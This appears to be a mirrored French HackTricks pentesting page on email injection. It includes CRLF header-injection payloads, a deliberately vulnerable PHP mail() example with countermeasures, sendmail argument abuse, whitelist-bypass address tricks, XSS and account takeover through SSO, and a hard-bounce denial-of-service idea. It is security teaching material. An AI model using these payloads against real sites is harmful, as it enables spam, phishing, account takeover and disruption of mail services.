mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
196 lines
12 KiB
Markdown
196 lines
12 KiB
Markdown
# Injections d'emails
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Injecter dans un e-mail envoyé
|
|
|
|
### Injecter Cc et Bcc après l'argument de l'expéditeur
|
|
```
|
|
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|
```
|
|
Le message sera envoyé aux comptes destinataire et destinataire1.
|
|
|
|
### Injecter un argument
|
|
```
|
|
From:sender@domain.com%0ATo:attacker@domain.com
|
|
```
|
|
Le message sera envoyé à la fois au destinataire original et au compte de l'attaquant.
|
|
|
|
### Injecter l'argument Sujet
|
|
```
|
|
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
|
```
|
|
Le faux sujet sera ajouté au sujet original et dans certains cas, le remplacera. Cela dépend du comportement du service de messagerie.
|
|
|
|
### Modifier le corps du message
|
|
|
|
Injectez deux sauts de ligne, puis écrivez votre message pour modifier le corps du message.
|
|
```
|
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
|
```
|
|
### Exploitation de la fonction mail() de PHP
|
|
|
|
#### Description
|
|
|
|
La fonction `mail()` de PHP est souvent utilisée pour envoyer des e-mails à partir d'un site web. Cependant, si elle est mal utilisée, elle peut être exploitée pour injecter des e-mails malveillants ou pour effectuer des attaques de phishing.
|
|
|
|
#### Exploitation
|
|
|
|
L'exploitation de la fonction `mail()` de PHP peut être réalisée en injectant des en-têtes d'e-mail malveillants dans les paramètres de la fonction. Les en-têtes d'e-mail sont des informations qui sont incluses dans l'e-mail, telles que l'expéditeur, le destinataire, le sujet, etc. En injectant des en-têtes d'e-mail malveillants, un attaquant peut modifier l'apparence de l'e-mail pour tromper l'utilisateur final.
|
|
|
|
Voici un exemple de code vulnérable :
|
|
|
|
```php
|
|
<?php
|
|
$to = $_POST['to'];
|
|
$subject = $_POST['subject'];
|
|
$message = $_POST['message'];
|
|
$headers = 'From: ' . $_POST['from'] . "\r\n" .
|
|
'Reply-To: ' . $_POST['reply-to'] . "\r\n" .
|
|
'X-Mailer: PHP/' . phpversion();
|
|
|
|
mail($to, $subject, $message, $headers);
|
|
?>
|
|
```
|
|
|
|
Dans cet exemple, les en-têtes d'e-mail sont construits à partir des entrées utilisateur sans validation ni nettoyage. Cela permet à un attaquant d'injecter des en-têtes d'e-mail malveillants en modifiant les valeurs des paramètres POST.
|
|
|
|
#### Contre-mesures
|
|
|
|
Pour éviter l'exploitation de la fonction `mail()` de PHP, il est recommandé de :
|
|
|
|
- Valider et nettoyer les entrées utilisateur avant de les utiliser pour construire les en-têtes d'e-mail.
|
|
- Utiliser des bibliothèques de messagerie sécurisées telles que PHPMailer ou SwiftMailer qui offrent des fonctionnalités de sécurité supplémentaires.
|
|
- Limiter l'utilisation de la fonction `mail()` de PHP et utiliser plutôt des services de messagerie tiers tels que SendGrid ou Mailgun.
|
|
```bash
|
|
# The function has the following definition:
|
|
|
|
php --rf mail
|
|
|
|
Function [ <internal:standard> function mail ] {
|
|
- Parameters [5] {
|
|
Parameter #0 [ <required> $to ]
|
|
Parameter #1 [ <required> $subject ]
|
|
Parameter #2 [ <required> $message ]
|
|
Parameter #3 [ <optional> $additional_headers ]
|
|
Parameter #4 [ <optional> $additional_parameters ]
|
|
}
|
|
}
|
|
```
|
|
#### Le 5ème paramètre ($additional\_parameters)
|
|
|
|
Cette section est basée sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
|
|
|
|
Ce paramètre sera ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction `escapeshellcmd($additional_parameters)`.
|
|
|
|
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
|
|
|
|
#### Différences dans la mise en œuvre de /usr/sbin/sendmail
|
|
|
|
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (tels que les paramètres -t -i -f) reste **la même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
|
|
|
|
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
|
|
|
|
* Sendmail MTA : http://www.sendmail.org/\~ca/email/man/sendmail.html
|
|
* Postfix MTA : http://www.postfix.org/mailq.1.html
|
|
* Exim MTA : https://linux.die.net/man/8/eximReferences
|
|
|
|
En fonction de l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **fuir des fichiers ou même exécuter des commandes arbitraires**. Vérifiez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
|
|
## Injection dans le nom de l'e-mail
|
|
|
|
### Parties ignorées d'un e-mail
|
|
|
|
Les symboles : **+, -** et **{}** dans de rares occasions peuvent être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie
|
|
|
|
* Par exemple, john.doe+intigriti@example.com → john.doe@example.com
|
|
|
|
Les **commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
|
|
|
|
* Par exemple, john.doe(intigriti)@example.com → john.doe@example.com
|
|
|
|
### Contournement de la liste blanche
|
|
|
|
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Guillemets
|
|
|
|
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Adresses IP
|
|
|
|
Vous pouvez également utiliser des adresses IP comme nom de domaine entre crochets :
|
|
|
|
* john.doe@\[127.0.0.1]
|
|
* john.doe@\[IPv6:2001:db8::1]
|
|
|
|
### Autres vulnérabilités
|
|
|
|
![](<../.gitbook/assets/image (296).png>)
|
|
|
|
## SSO tiers
|
|
|
|
### XSS
|
|
|
|
Certains services comme **github** ou **salesforce vous permettent de créer une adresse e-mail avec des charges utiles XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **sanitent pas correctement** l'e-mail, vous pourriez causer **XSS**.
|
|
|
|
### Prise de contrôle de compte
|
|
|
|
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un service différent** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
|
|
Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, mais l'application devrait également tenir compte de cette information.
|
|
|
|
## Répondre à
|
|
|
|
Vous pouvez envoyer un e-mail en utilisant _**From: company.com**_\*\* \*\* et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée parce que l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
|
|
|
|
## Taux de rebond dur
|
|
|
|
Certaines applications comme AWS ont un **taux de rebond dur** (chez AWS, il est de 10 %), qui bloque le service de messagerie chaque fois qu'il est surchargé.
|
|
|
|
Un **rebond dur** est un **e-mail** qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'adresse e-mail est fausse, peut-être que le domaine de l'e-mail n'est pas un domaine réel, ou peut-être que le serveur de messagerie du destinataire de l'e-mail n'accepte pas les e-mails, ce qui signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont causé le rebond de tous, **AWS SES** bloquera votre service.
|
|
|
|
Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations) depuis l'application web à n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et des domaines qui n'existent pas : DoS du service de messagerie électronique.**
|
|
|
|
## Références
|
|
|
|
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
|
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
|
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'exclusivités [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|